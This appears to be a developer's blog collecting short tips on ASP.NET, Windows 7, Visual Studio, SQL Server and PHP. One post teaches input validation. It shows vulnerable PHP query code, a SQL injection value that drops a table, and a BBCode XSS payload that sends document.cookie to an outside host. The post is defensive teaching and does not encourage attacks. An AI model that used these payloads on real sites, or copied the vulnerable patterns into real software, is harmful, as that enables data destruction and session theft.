Hosting ASP.NET projects on a Linux Server

The other day, I was bored and was curious if whether or not I was able to host an ASP.NET on my home desktop’s  Ubuntu box.  After researching, I found out that there was an entire open source project pertaining to this exact thing.

I won’t go into much detail about it, but if you are curious search for the ASP.NET Mono Project for more details.

The major issue that I had when setting it up was getting MonoDevelop to install and run.  The other issue was that the JavaScript postback when I was trying to host an ASP.NET 4.0 MVC project however when I went to a ASP 3.5 project, everything worked perfectly.  I will have to look more into why the ASP.NET 4.0 MVC application wasn’t working, but so far I’m happy with it :) .

Windows 7 – Multi-Monitor Shortcuts

Here are some nice little shortcuts I found when playing in Windows 7:
  • Windows + Down Arrow – Minimize Window (if not maximized) or Restore Down (if maximized)
  • Windows + Up Arrow – Maximize Window
  • Windows + Left Arrow – Dock window on left hand side of the screen (if already docked, it moves it to the next screen)
  • Windows + Right Arrow – Dock window on right hand side of the screen (if already docked, it moves it to the next screen)
  • Windows + Shift + Left Arrow – Send window as-is (i.e. Maximized) to Left Monitor (if already on the left window, it will move to the rightmost window)
  • Windows + Shift + Right Arrow – Send window as-is (i.e. Maximized) to Right Monitor (if already on the right window, it will move to the rightmost window)

I hope this makes using multiple monitors a little more convenient in Windows 7.

Microsoft Outlook – Minimize to Tray

So I need to have Microsoft Outlook open at all times to make sure I am getting my emails, but keeping it on the start menu is a bit of a pain because it takes up valuable screen real estate.  I have done the googling and found the answer to my problems … Minimizing to the System Tray.

How do you do this?

  • Right-click on the Outlook icon in the System Tray
  • Click the “Hide When Minimized” option

And presto, it no longer appears on my task bar.

Great SQL Resource

I have been reading a site for quite a while, the author does a great job explaining all of the questions. The site is Explain Extended.

Hopefully it’ll be very helpful :)

Visual Studio 2008 – Enable Code Modifications When in Debugging Mode

Today I was playing with Visual Studio 2008 and I went to run my application in debugging mode.  After running it, I realized that there was a small issue that I wanted to resolve but I didn’t want to terminate the Web Application fully (i.e. just modify the code and then recompile).  When I started typing, I got a nice little slap in the face from Visual Studio as seen below:

Visual Studio 2008 - Edit and Continue

Debugging Error Message

 

After some hunting around on Google I came across a bunch of Stack Overflow posts that told me how to allow me to disable that nice little slap in the face in order to allow me to continue to code.  To do this you must do the following (while the application is not running in debug mode):

  1. Click on “Tools”
  2. Click on “Options”
  3. Select “Debugging”
  4. Click on “Edit and Continue”
  5. Uncheck the “Enable Edit and Continue”

 

Visual Studio 2008 - Options - Edit And Continue

Disabling Edit and Continue

After following those steps I was good to go.

SQL Server – View Status of Long Running Tasks

With databases sometimes you need to run tasks that take a while in order to complete. In the past I have found it hard to judge the status of a request. For example, we do backups and restores of a 40 GB database.

Normally this doesn’t take very long to accomplish (30-40 minutes) but there is no sort of progress bar on the query to judge complete a specific task is. Luckily after hunting through Google for a while I found a query that you are able to run to find how complete system tasks are. The query is as follows:

SELECT session_id, command, percent_complete FROM sys.dm_exec_requests

This query will return a list of the commands currently running as well as the percentage complete.

Status of Long Running Tasks

session_id command percent_complete
## BACKUP DATABASE 25.6985%

Testing Applications

Testing an application is not an easy task to do. As well, sometimes it can be a very tedious task to do. However, it should always be done or else you risk shipping applications which are prone to bugs which will in turn look badly on the individual / team developing the application especially since some issues are easy to find with the proper testing.

For my first co-op job I worked as a tester for an application.  Yes, this meant that I was no where near the code of the application, but it also meant that I needed to know the actual requirements for the application which we were testing.  I made a small poster describing some of my findings while working there.

To take a look please click here.

Title Case

Problem:

Capitalizing the first character of each word in a string (i.e. “the final countdown” → “The Final Countdown”).

Solution:

C#:

C# has a built-in function for this. Its called ‘toTitleCase’, hidden deep within the System.Globalization namespace.

So how do you use it?

using System.Globalization;
 
...
// Get the instance of the TextInfo class to use to (no constructor), comes from the current thread
TextInfo info = (System.Threading.Thread.CurrentThread.CurrentCulture).TextInfo;
 
string sample = "hello world";
 
// Print to console the title case
// Outputs: Hello World
Console.WriteLine(info.ToTitleCase(sample));
...

The ‘ToTitleCase’ function returns an instance of a string which will have all of the first characters in words changed to upper case, and leaves the rest of the text as is. This means that if a word is in all capital letters it will remain that way. A simple work around for this is to call the string object’s ‘ToLower’ function before we send the string into the ‘ToTitleCase’ function.

For example,

using System.Globalization;
 
...
// Get the instance of the TextInfo class to use to (no constructor), comes from the current thread
TextInfo info = (System.Threading.Thread.CurrentThread.CurrentCulture).TextInfo;
 
string sample = "HELLO world";
 
// Print to console the title case
// Outputs: HELLO World
Console.WriteLine(info.ToTitleCase(sample));
 
// Pre-lowercase everything
// Outputs: Hello World
Console.WriteLine(info.ToTitleCase(sample.ToLower()));
...

PHP:

The PHP version of this function is a fair bit easier to get to.  PHP’s function is called ‘ucwords’.  However, similar to the C# version you should always have the string sent in in lower case if you want it to only make the first character of each word upper case (it only changes the first character and doesn’t touch the others).

// Outputs: The Final Countdown
 
echo ucwords ( 'the final countdown' );

User’s Input – Never Trust It!

I must first start this post with a comic on the topic … it comes from xkcd.com.

Exploits of a Mom

Anyways, this shows one of the many reasons why one should never trust any input from a user. This means that you should assume that all users have malicious intent and are attempting to break into your site. Of course, this is not always the case however, when it is, bad things can happen all around.

No matter how you are getting data from the user, be it through an input field, URL, hidden field, drop down list etc. users are able to change the information to better suit their attacking desires. This means always make sure that the data is within the bounds of what is expected!

What are some examples of bad things which can happen from the user of exploits?

I have listed two of the more common threats which I see on a day-to-day basis.

  • SQL Injection – As portrayed in the comic from XKCD, if the correct security precautions are not in place, anything which is stored in your database can be eliminated within seconds or worse, modified in a manner you are not able to notice until it’s too late. For example, if one is working on a website which has a built-in ‘karma’ system where the higher ‘karma’ a user has, the more things they are allowed to do on the site. If the website allows for SQL injection (accidentally of course), what is to stop the user from slowly increasing their ‘karma’ at a gradual rate until they have increased it so much that they are now in a new ‘karma’ category. Would this be noticeable? Probably not. Either way, if the user attacker truncates or deletes your tables, or even updates their records a bit to get more out of the site than they have achieved, these are all bad things which could happen … and can easily be prevented by becoming aware of what is going on around you.
  • Cross Site Scripting (XSS) – Security flaws unintentional coded into applications which will allow the user to inject special code onto a site which can be extremely detrimental to any site. A simple example of XSS would be a cookie grabber. A fair number of the cookie grabbers I have seen come from the use of BBCode and the lack of proper validation for it. The theory behind a simple cookie grabber is that it will use any pre-existing javascript on the site (or use it’s own) in order to send site-specific information to a different source. However, cookie grabbers are not the only problems from XSS. If the correct precautions are not in place the use of PHP’s “include” or “require” function can have your site acting as a portal through the internet for anybody to use as they please. Similar to SQL injection, this can be prevented with the proper knowledge.

Examples!

SQL Injection

Just say you have a form where you allow the user to select how many records they want to display:

<form method = "post" action = "results.php">
How many records should be displayed?
  <select type = 'text' name = 'count'>
    <option value = '5'>5</option>
    <option value = '10'>10</option>
    <option value = '15'>15</option>
  </select>
  <input type = 'submit' />
</form>

The form will look something like this:

How many records should be displayed?

And the back end of your application looks something like this:

<?php
    $query = "SELECT * FROM `news` LIMIT " . $_POST [ 'count' ];
    $res = mysql_query ( $query );
?>

What is to stop the user from modifying one of the values in the drop down list to:

5; DROP TABLE `news`;

Nothing! However, if you don’t prevent such a thing from being allowed in your query (i.e. not doing enough data validation), after the user runs that query, your entire ‘news’ table will be dropped from the system, which was probably not what was originally intended for the script.

I have mentioned this method of prevention before, and I’ll mention it again, SQL prepared statements. If data is sent in as a parameter rather than as a direct part of the query, there are no chances that the query may be mistaken and have two queries execute instead of one.

Cross Site Scripting (XSS)

These security vulnerabilities can be fairly hard to track down, however there is always a way.

Simple XSS

Just say you have your URLs as something like this:

http://url.com/read.php?file=temp.php

Where in your actual PHP script you have a server side incude for whatever value was passed in through $_GET. Well, this is opening up an entirely new can of worms. Yes it works for pages which are on your server, however, it will also work for sites which are off site if you are not careful in your validation.

Sample Code:


If I were to change the URL from:

http://url.com/file=temp.php

To:

http://url.com/file=http://www.google.com

By default, PHP will not think anything of it. It will treat the website as a file stream just as it does the ‘temp.php’ which was originally passed in. And low and behold, somebody is now using your site to access Google.

Lesson: validate and verify that the file exists LOCALLY before running the include.

Cookie Grabber

Since cookies are only accessible on the site which they are associated with, cookie grabbers must use this in order to get the information they need. A fair number of implementations of BBCode which I have seen have allowed for gaping holes because of this.

For example, most implementations use regular expressions in order to pick up on the required information (which is what they should be used for). However, since urls and things can have a large number of characters, most programmers choose to use the greedy approach and use the ‘anything but newline character’ (the period).

Regex (something similar to this, as I cannot remember the exact regular expression):

\[img=(.*)\]

This regular expression will then be replaced in the emitted HTML code to be:

<img src = "$1">

This is all fine and dandy, and it picks up what is required however, it also has the ability to pick up more than expected and/or desired.

For example, if the following was provided it would allow the user to gain access to the cookies which are for a particular site.

[img=http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie]

This has the potential for changing the emitted HTML into becoming:

<img src = "http://www.google.ca/logos/gabor10-hp.png" onclick="document.location.href='http://some_other_url.com/cookies.php?cookie='+document.cookie">

Effectively causing your web browser to relocate to a different URL with your cookie in the link which they will then log for future use.

Of course, if a little extra time was spent in the sanitation of the input problems like this can be filtered out.

Summary: In summary, never ever ever trust user’s input. It will only lead you towards worlds of pain.

Hope this helps!

PHP – Dynamic Type Upconverting

Just because PHP allows you to do something, doesn’t mean that it is the best thing to do.  For example, PHP will automatically convert single word strings (non-quote/apostrophe delimited) into an actual string if required.

<?php
    $arr = array ();
 
    for ( $x = 0; $x < 1000000; $x++ )
    {
        $arr [ foo ] = 'bar';
    }
?>

In this case, PHP will automatically convert foo to the string ‘foo’. However, this up conversion doesn’t come without a cost. For example, when timing the use of this script, the following are the results:

$ time php test.php 

real    0m1.641s
user    0m1.424s
sys     0m0.044s

However, when running the following script and not forcing it to up convert, the results are extremely different.

<?php
    $arr = array ();
 
    for ( $x = 0; $x < 1000000; $x++ )
    {
        $arr [ 'foo' ] = 'bar';
    }
?>

In this case, the word ‘foo’ is already pre-defined as a string, so no up conversion is required. The time for this is as follows:

$ time php test.php 

real    0m0.467s
user    0m0.292s
sys     0m0.052s

As you can see, by including the quotes and telling PHP that it actually is a string, you can potentially reduce the execution time for your PHP scripts.

Keep this in mind when using the associative arrays in PHP.